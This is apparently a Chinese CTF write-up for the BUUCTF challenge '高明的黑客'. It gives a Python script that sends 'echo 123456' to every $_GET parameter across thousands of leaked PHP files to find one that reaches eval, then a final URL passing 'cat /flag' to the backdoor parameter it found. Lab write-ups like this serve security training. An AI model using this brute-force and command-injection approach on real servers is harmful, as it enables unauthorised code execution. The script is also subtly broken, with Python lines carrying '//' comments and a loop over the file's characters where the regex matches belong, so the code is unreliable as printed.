web buu [强网杯 2019]高明的黑客1

考点:脚本编写

根据提示,查看源码 url+www.tar.gz,下载压缩包,发现是3002个php文件

随便打开一个发现里面有传参$_GET()函数,里面有的直接接了eval,相当于直接执行了参数里面的值,但是经过审计代码发现,里面的很多参数都已经在代码里被赋值,所以我们需要从三千多个文件里找到有用的$_GET(),很显然通过人工寻找有一定难度,那么就需要我们编写脚本、

import re
import os
import requests
file=os.listdir('D:\PHPS\phpStudy_64\phpstudy_pro\WWW\src')
zz=re.compile(r'(?<=_GET\[\').*(?=\'\])')     //正则匹配
for i in file:
      url="http://localhost/src/"+i
      f=open("D:\\PHPS\\phpStudy_64\\phpstudy_pro\\WWW\\src\\"+i)   //注意路径,用\\
      data=f.read()
      f.close()
      res=zz.findall(data)
      for j in data:
           payload=url+"?"+j+"=echo 123456"
           ret=requests.get(payload)
           print(payload)
           if "123456" in ret.text:
              print(payload)
              exit(1)

这个需要跑蛮久的

再传参即可得到flag

http://4d557817-895f-45fd-96ae-db6a6de6389c.node4.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值